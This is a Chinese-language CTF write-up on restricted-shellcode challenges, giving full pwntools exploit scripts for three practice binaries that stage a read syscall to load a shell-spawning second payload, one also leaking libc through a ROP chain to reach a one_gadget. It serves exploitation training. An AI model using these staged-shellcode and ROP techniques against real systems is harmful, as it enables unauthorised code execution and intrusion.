shellcode題總結

shellcode題總結

有時shellcode受限,最好的方法一般就是勉強的湊出sys read系統調用來輸入shellcode主體。下面從幾個題來加深理解。

starctf_2019_babyshell

現在shellcode字節允許的範圍在表內

我們直接用IDA強制轉爲彙編,我們發現pop rdx、pop rdi、syscall可以用。

而執行shellcode時,正好eax也被設置爲0

然後rsi正好也是指向shellcode

因此,read的系統調用所需的都俱全,構造出read系統調用輸入shellcode主體即可。

#coding:utf8
from pwn import *

context(os='linux',arch='amd64')
#sh = process('./starctf_2019_babyshell')
sh = remote('node3.buuoj.cn',25035)

shellcode = asm('''pop rdi
                   pop rdi
                   pop rdi
                   pop rdi
                   pop rdi
                   pop rdi
                   pop rdi
                   pop rdi
                   pop rdx
                   pop rdi
                   syscall
                ''')
sh.sendlineafter('give me shellcode, plz:',shellcode)
sleep(0.5)
sh.send('a'*0xC + asm(shellcraft.sh()))

sh.interactive()

鐵人三項(第五賽區)_2018_seven

限制7字節shellcode

並且執行到我們的shellcode時,rsp已經調整,寄存器也基本清空

由於棧調試,棧裏沒有合適的數據

此時,唯一的辦法是先rsp指向的地方進行輸入。然而7字節也算不夠jmp rsp的。最多到syscall。由於開啓了隨機化,因此rsp和rip值哪個大是不確定的,當rsp在rip上方的時候,通過read,就可以覆蓋到rip所指向的內存,覆蓋爲shellcode。因此,只需要多次嘗試,總有一次rsp在rip上方附近的時候,就可以成功在rip後面的位置寫入主體shellcode。

#coding:utf8
from pwn import *

context(os='linux',arch='amd64')
#sh = process('./2018_seven')
sh = remote('node3.buuoj.cn',29741)
shellcode = asm('''push rsp
                   pop rsi
                   mov edx,esi
                   syscall
                ''')

sh.sendafter('Show me your shellcode:',shellcode)
payload = '\x00'*0xB36 + asm(shellcraft.sh())
sleep(0.1)
sh.sendline(payload)

sh.interactive()

鵬城杯_2018_treasure

通過構造shellcode,向棧里布置rop鏈

#coding:utf8
from pwn import *

context(os='linux',arch='amd64')
#sh = process('./2018_treasure')
sh = remote('node3.buuoj.cn',29793)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
elf = ELF('./2018_treasure')
read_plt = elf.plt['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr = 0x00000000004009BA
pop_rdi = 0x0000000000400b83
pop_rsi = 0x0000000000400b81


sh.sendlineafter("will you continue?(enter 'n' to quit) :",'Y')
#向棧裏輸入rop
shellcode = asm('''push rsp
                   pop rsi
                   mov edx,esi
                   syscall
                   ret
                ''')
sh.sendafter('start!!!!',shellcode)
rop = p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
rop += p64(vuln_addr)
sleep(0.2)
sh.send(rop)
puts_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.sym['puts']
one_gadget_addr = libc_base + 0x4f322

sh.sendlineafter("will you continue?(enter 'n' to quit) :",'Y')
#向棧裏輸入rop
shellcode = asm('''push rsp
                   pop rsi
                   mov edx,esi
                   syscall
                   ret
                ''')
sh.sendafter('start!!!!',shellcode)
sleep(0.2)
payload = p64(one_gadget_addr) + '\x00'*0x50
sh.send(payload)

sh.interactive()

因此,對於一些受限的shellcode,我們最好的辦法是構造read系統調用。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章